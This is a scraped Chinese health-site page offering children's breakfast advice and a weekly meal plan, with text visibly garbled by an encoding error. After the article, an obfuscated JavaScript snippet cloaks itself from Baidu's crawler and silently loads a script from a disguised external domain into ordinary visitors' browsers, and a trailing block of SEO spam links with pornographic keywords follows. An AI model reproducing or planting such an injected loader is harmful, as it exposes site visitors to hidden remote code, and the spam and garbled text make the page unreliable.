<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

      兒童營(yíng)養(yǎng)早餐食譜大全有哪些

      2017-07-07 07:43:37  來(lái)源:360常識(shí)網(wǎng)   熱度:
      導(dǎo)語(yǔ):向大家介紹兒童營(yíng)養(yǎng)早餐食譜。孩子是父母的希望,是社會(huì)的未來(lái)。任何有關(guān)孩子身心健康的問(wèn)題都不容忽視。一天之際在于晨,早餐不可不吃,又

      向大家介紹兒童營(yíng)養(yǎng)早餐食譜。孩子是父母的希望,是社會(huì)的未來(lái)。任何有關(guān)孩子身心健康的問(wèn)題都不容忽視。一天之際在于晨,早餐不可不吃,又顯得那么的重要。當(dāng)兒童和早餐結(jié)合起來(lái),我們就必須要提高注意力啦。怎么才是營(yíng)養(yǎng)豐富、味道可口的早餐呢?下面我向大家介紹一些兒童營(yíng)養(yǎng)早餐食譜。

      ◆好的營(yíng)養(yǎng)早餐一定要有一些谷類食物,如饅頭、包子、烤餅、面包、蛋糕、面條、餅干、粥等,而且要各種谷類食物搭配,粗細(xì)搭配。谷類食物可分解成葡萄糖,它是腦組織中的主要供能物質(zhì)。

      ◆好的早餐要有一定量的蛋白質(zhì)供給,如蛋、奶、豆類食物都含有豐富的蛋白質(zhì)。每天早餐都要讓孩子保證食入250毫升牛奶或豆?jié){,一個(gè)雞蛋或幾片豬、牛、雞肉,保證供給孩子生長(zhǎng)發(fā)育所需的蛋白質(zhì)。

      ◆好的早餐要供給一定量的蔬菜,如涼拌萵筍、白菜、黃瓜、蘿卜、西紅柿等蔬菜,豆腐、豆干、豆皮等豆制品或涼拌海帶等海產(chǎn)品,以提供其他營(yíng)養(yǎng)素和礦物質(zhì)及增加食欲,保證早餐食入量。

      ◆好的早餐要有一定的植物油,別忘了在涼拌菜中放幾滴植物油,脂肪可為孩子提供所需的熱量,又能增加菜的色、香、味,促進(jìn)食欲。

      星期一

      早餐:饅頭和草莓醬、牛奶(或豆奶)、煮荷包蛋1個(gè)、醬黃瓜。水果:西紅柿或白蘿卜個(gè)。

      中餐:蕎麥大米飯、香菇菜心、糖醋帶魚(yú)、豆腐血旺、絲瓜湯。

      晚餐:綠豆粥、白菜豬肉包子、蝦皮冬瓜。

      星期二

      早餐:玉米面窩窩頭、牛奶(或豆奶)、鹵五香茶蛋1個(gè)、豆腐乳(1/4塊)。水果:枇杷(或長(zhǎng)生果)3~4個(gè)。 中餐:花生米飯、肉末茄子、蔥花土豆泥、鴨子海帶湯。 晚餐:干煸豆角、稀飯、豆沙包、青椒肉絲。

      星期三

      早餐:鮮肉包、牛奶(或豆奶)、咸鴨蛋(半個(gè))、素炒三絲(萵筍、白蘿卜、胡蘿卜)。水果:鴨梨一個(gè)或西瓜一塊。 中餐:紅棗米飯、黃豆燒牛肉、干煸四季豆、金針菇紫菜雞蛋湯。 晚餐:三鮮面片(豬肝、火腿腸、黑木耳、平菇)、清炒菠菜、青椒土豆絲。

      星期四

      早餐:蘋果醬花卷、牛奶(或豆奶)、煮荷包蛋1個(gè)、炒泡豇豆。水果:香蕉(或黃瓜)1個(gè)。 中餐:米飯(高粱米、白米)、香菇黃花黑木耳肉片、紅燒平魚(yú)、白蘿卜海帶排骨湯。 晚餐:豆?jié){或稀飯、蔥花煎餅、青椒芹菜肉絲。

      星期五

      早餐:醬肉包、牛奶(或豆奶)、素炒三絲(萵筍、白蘿卜、胡蘿卜)、鵪鶉蛋2個(gè)。水果:獼猴桃(或桃子)1~2個(gè)。 中餐:紅豆米飯、魔芋燒鴨、紅椒炒花菜、魚(yú)頭香菇冬筍青菜湯。 晚餐:芹菜豬肉包子、西紅柿炒雞蛋、肉末豆腐腦。

      星期六

      早餐:面包、牛奶(或豆奶)、煎雞蛋1個(gè)、鹵五香豆腐干。 水果:草莓(或李子)5~6個(gè)。 中餐:兩米飯(大米、小米)、五香魚(yú)、五彩銀絲?穴黃豆芽、胡蘿卜、萵筍)、雞腿菇木耳豬肝湯。 晚餐:玉米粥、雞蛋發(fā)糕、魚(yú)香肉絲。

      星期天

      早餐:芝麻醬花卷、牛奶(或豆奶)、煮雞蛋1個(gè)、豆豉鳳尾魚(yú)。水果:蘋果1個(gè)。 中餐:金銀飯(玉米糝、大米)、黑木耳春筍燒雞、糖醋白菜、綠豆南瓜湯。 晚餐:韭菜豬肉餃子、蒜泥油麥菜、肉末炒豇豆。

      以上便是我向大家介紹的兒童營(yíng)養(yǎng)早餐食譜。好的早餐,要合理搭配,營(yíng)養(yǎng)均衡,符合孩子的年齡段。希望以上我的介紹能對(duì)大家有所幫助。

      轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 久久综合视频网站| 国产精品综合专区中文字幕免费播放 | 久久婷婷色香五月综合激情| 国产成人综合亚洲亚洲国产第一页| 久久综合色区| 亚洲国产欧美国产综合久久| 亚洲精品第一国产综合精品99| 狠狠色丁香久久婷婷综合_中| 日韩综合无码一区二区| 色综合久久久久无码专区| 亚洲精品欧美综合| 久久99国产综合精品女同| 伊人丁香狠狠色综合久久| 国产综合第一页| 91精品国产91久久综合| 亚洲日本欧美产综合在线| 国产成人精品综合久久久久| 国产综合一区二区| 久久婷婷色综合一区二区| 久久综合狠狠综合久久综合88| 亚洲综合色成在线播放| 国产天天综合永久精品日| 日韩欧美在线综合网另类| 综合在线视频精品专区| 亚洲va欧美va国产综合| 狠狠色丁香婷婷综合激情 | 国产精品激情综合久久| 色噜噜狠狠色综合网| 久久婷婷激情综合色综合俺也去| 久久香综合精品久久伊人| 亚洲综合伊人久久大杳蕉| 色综合AV综合无码综合网站| 色欲人妻综合AAAAA网| 日韩欧美综合在线| 亚洲欧美日韩综合在线播放| 国产综合内射日韩久| 亚洲第一区欧美国产不卡综合 | 亚洲AV综合色一区二区三区| 97久久婷婷五月综合色d啪蜜芽 | 久久综合给久久狠狠97色| 热综合一本伊人久久精品|